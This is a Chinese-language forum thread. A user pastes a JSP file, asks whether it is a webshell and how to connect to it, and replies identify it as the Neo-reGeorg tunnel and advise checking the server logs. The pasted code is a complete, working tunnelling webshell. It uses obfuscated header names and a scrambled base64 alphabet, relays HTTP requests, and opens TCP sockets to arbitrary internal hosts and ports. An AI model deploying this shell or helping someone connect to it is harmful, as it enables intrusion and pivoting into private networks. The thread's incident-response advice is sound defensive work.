导航

请问大佬们这个jsp文件是马吗?是马的话怎么连接呢?急

#1
<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="utf-8" trimDirectiveWhitespaces="true"%>
<%!
    private static char[] en = "oMsTYgpvyJX4FRUiV29rcHzSe5BGlW8LOIDPbaqC0htxu7dN36w+jEAZ/fm1QKnk".toCharArray();
    public static String b64en(byte[] data) {
        StringBuffer sb = new StringBuffer();
        int len = data.length;
        int i = 0;
        int b1, b2, b3;
        while (i < len) {
            b1 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[(b1 & 0x3) << 4]);
                sb.append("==");
                break;
            }
            b2 = data[i++] & 0xff;
            if (i == len) {
                sb.append(en[b1 >>> 2]);
                sb.append(en[((b1 & 0x03) << 4)
                        | ((b2 & 0xf0) >>> 4)]);
                sb.append(en[(b2 & 0x0f) << 2]);
                sb.append("=");
                break;
            }
            b3 = data[i++] & 0xff;
            sb.append(en[b1 >>> 2]);
            sb.append(en[((b1 & 0x03) << 4)
                    | ((b2 & 0xf0) >>> 4)]);
            sb.append(en[((b2 & 0x0f) << 2)
                    | ((b3 & 0xc0) >>> 6)]);
            sb.append(en[b3 & 0x3f]);
        }
        return sb.toString();
    }
    private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,51,-1,-1,-1,56,40,59,17,48,11,25,49,45,30,18,-1,-1,-1,-1,-1,-1,-1,54,26,39,34,53,12,27,21,33,9,61,31,1,47,32,35,60,13,23,3,14,16,29,10,4,55,-1,-1,-1,-1,-1,-1,37,36,20,46,24,57,5,41,15,52,63,28,58,62,0,6,38,19,2,42,44,7,50,43,8,22,-1,-1,-1,-1,-1};
    public static byte[] b64de(String str) {
        byte[] data = str.getBytes();
        int len = data.length;
        ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
        int i = 0;
        int b1, b2, b3, b4;
        while (i < len) {
            do {
                b1 = de[data[i++]];
            } while (i < len && b1 == -1);
            if (b1 == -1) {
                break;
            }
            do {
                b2 = de[data[i++]];
            } while (i < len && b2 == -1);
            if (b2 == -1) {
                break;
            }
            buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
            do {
                b3 = data[i++];
                if (b3 == 61) {
                    return buf.toByteArray();
                }
                b3 = de[b3];
            } while (i < len && b3 == -1);
            if (b3 == -1) {
                break;
            }
            buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
            do {
                b4 = data[i++];
                if (b4 == 61) {
                    return buf.toByteArray();
                }
                b4 = de[b4];
            } while (i < len && b4 == -1);
            if (b4 == -1) {
                break;
            }
            buf.write((int) (((b3 & 0x03) << 6) | b4));
        }
        return buf.toByteArray();
    }

    static String headerkey(String str) throws Exception {
        String out = "";
        for (String block: str.split("-")) {
           out += block.substring(0, 1).toUpperCase() + block.substring(1);
           out += "-";
        }
        return out.substring(0, out.length() - 1);
    }

    boolean islocal(String url) throws Exception {
        String ip = (new URL(url)).getHost();
        Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
        while (nifs.hasMoreElements()) {
            NetworkInterface nif = nifs.nextElement();
            Enumeration<InetAddress> addresses = nif.getInetAddresses();
            while (addresses.hasMoreElements()) {
                InetAddress addr = addresses.nextElement();
                if (addr instanceof Inet4Address)
                    if (addr.getHostAddress().equals(ip))
                        return true;
            }
        }
        return false;
    }
%>
<%
    String rUrl = request.getHeader("Yzvmkzpzyxtnp");
    if (rUrl != null) {
        rUrl = new String(b64de(rUrl));
        if (!islocal(rUrl)){
            response.reset();
            String method = request.getMethod();
            URL u = new URL(rUrl);
            HttpURLConnection conn = (HttpURLConnection) u.openConnection();
            conn.setRequestMethod(method);
            conn.setDoOutput(true);

            // conn.setConnectTimeout(200);
            // conn.setReadTimeout(200);

            Enumeration enu = request.getHeaderNames();
            List<String> keys = Collections.list(enu);
            Collections.reverse(keys);
            for (String key : keys){
                if (!key.equalsIgnoreCase("Yzvmkzpzyxtnp")){
                    String value=request.getHeader(key);
                    conn.setRequestProperty(headerkey(key), value);
                }
            }

            int i;
            byte[] buffer = new byte[1024];
            if (request.getContentLength() != -1){
                OutputStream output;
                try{
                    output = conn.getOutputStream();
                }catch(Exception e){
                    response.setHeader("Blsghvg", "lKqr5u3_n_X483avQ0zqCheNzJWCMKDM5cP0lNSLC5jBNloZWUsvVBHuwPNc6W63H");
                    return;
                }

                ServletInputStream inputStream = request.getInputStream();
                while ((i = inputStream.read(buffer)) != -1) {
                    output.write(buffer, 0, i);
                }
                output.flush();
                output.close();
            }

            for (String key : conn.getHeaderFields().keySet()) {
                // Solve the jdk low version conn.getHeaderFields()
                // Solve the problem of weblogic blank line cannot remove
                if (key != null && !key.equalsIgnoreCase("Content-Length")){
                    String value = conn.getHeaderField(key);
                    response.setHeader(key, value);
                }
            }

            InputStream hin;
            if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
                hin = conn.getInputStream();
            } else {
                hin = conn.getErrorStream();
                if (hin == null){
                    response.setStatus(200);
                    return;
                }
            }

            response.setStatus(conn.getResponseCode());

            while ((i = hin.read(buffer)) != -1) {
                byte[] data = new byte;
                System.arraycopy(buffer, 0, data, 0, i);
                out.write(new String(data));
            }

            if ( true ) return; // exit
        }
    }

    response.resetBuffer();
    response.setStatus(200);
    String cmd = request.getHeader("Fmikhujmz");
    if (cmd != null) {
        String mark = cmd.substring(0,22);
        cmd = cmd.substring(22);
        response.setHeader("Cdt", "rkvZvXaUTzh1XGOFMTHI6Sj2LRhPrC");
        if (cmd.compareTo("YyyuwnwOmGUAfBPARUcQb6I5SVI") == 0) {
            try {
                String[] target_ary = new String(b64de(request.getHeader("Baumojccau"))).split("\\|");
                String target = target_ary[0];
                int port = Integer.parseInt(target_ary[1]);
                SocketChannel socketChannel = SocketChannel.open();
                socketChannel.connect(new InetSocketAddress(target, port));
                socketChannel.configureBlocking(false);
                session.setAttribute(mark, socketChannel);
                response.setHeader("Cdt", "rkvZvXaUTzh1XGOFMTHI6Sj2LRhPrC");
            } catch (Exception e) {
                response.setHeader("Blsghvg", "2vHNMv_EU0W3y8jCGcQDXg_4vL9PdG0vR5");
                response.setHeader("Cdt", "mQvLKreuxFpp7suIZvqrUi48vcJFpgyGkGF20if3FcF4jRzTocuJFZ5GO_Tyqu");
            }
        } else if (cmd.compareTo("cCx1lmKrzg4QUc9I6Nas9iY49uc_dUgCBRa_3ykF_q2nL7X825") == 0) {
            SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
            try{
                socketChannel.socket().close();
            } catch (Exception e) {
            }
            session.removeAttribute(mark);
        } else if (cmd.compareTo("UaiEbKhpSfc6moP1wyRnbdmK53dyPHeDwGXC8JOu5WQjoXf1Rt6LwzLV") == 0){
            SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
            try{
                ByteBuffer buf = ByteBuffer.allocate(513);
                int bytesRead = socketChannel.read(buf);
                while (bytesRead > 0){
                    byte[] data = new byte[bytesRead];
                    System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                    out.write(b64en(data));
                    buf.clear();
                    bytesRead = socketChannel.read(buf);
                }
                response.setHeader("Cdt", "rkvZvXaUTzh1XGOFMTHI6Sj2LRhPrC");

            } catch (Exception e) {
                response.setHeader("Cdt", "mQvLKreuxFpp7suIZvqrUi48vcJFpgyGkGF20if3FcF4jRzTocuJFZ5GO_Tyqu");
            }

        } else if (cmd.compareTo("T4JVcRNyQPBg3UBu7IZY7") == 0){
            SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
            try {

                int readlen = request.getContentLength();
                byte[] buff = new byte[readlen];

                request.getInputStream().read(buff, 0, readlen);
                byte[] base64 = b64de(new String(buff));
                ByteBuffer buf = ByteBuffer.allocate(base64.length);
                buf.clear();
                buf.put(base64);
                buf.flip();

                while(buf.hasRemaining())
                    socketChannel.write(buf);

                response.setHeader("Cdt", "rkvZvXaUTzh1XGOFMTHI6Sj2LRhPrC");

            } catch (Exception e) {
                response.setHeader("Blsghvg", "rFFKBw2d5KKXmIPHzTxlZh1Cu1hGzF6Hif");
                response.setHeader("Cdt", "mQvLKreuxFpp7suIZvqrUi48vcJFpgyGkGF20if3FcF4jRzTocuJFZ5GO_Tyqu");
                socketChannel.socket().close();
            }
        }
    } else {
        out.write("<!-- PHAqisQ3iAgh5XgEMTwO8itT6dW3tRnEUNS4R5YRwkJvVWr2ABtUJeQH0 -->");
    }
%>
2021-08-11
#2
这是jsp的neo-reGeorg
2021-08-11
#3
neo reg git搜一下就有
2021-08-12
#4
reGeorg代理工具
2021-08-12
#5
reGeorg内网转发工具,可能已经被拿下了,仔细排查一下日志比较好
2021-08-12
#6
一首凉凉 二手两手 再看凉凉 又看凉凉 还是凉凉
心无杂念,一往而已。
2021-08-13
#7
这是一个反向的代理,怎么排查到的呢。
2021-08-13
#8
jsp的neo-regeorg,建议检查服务器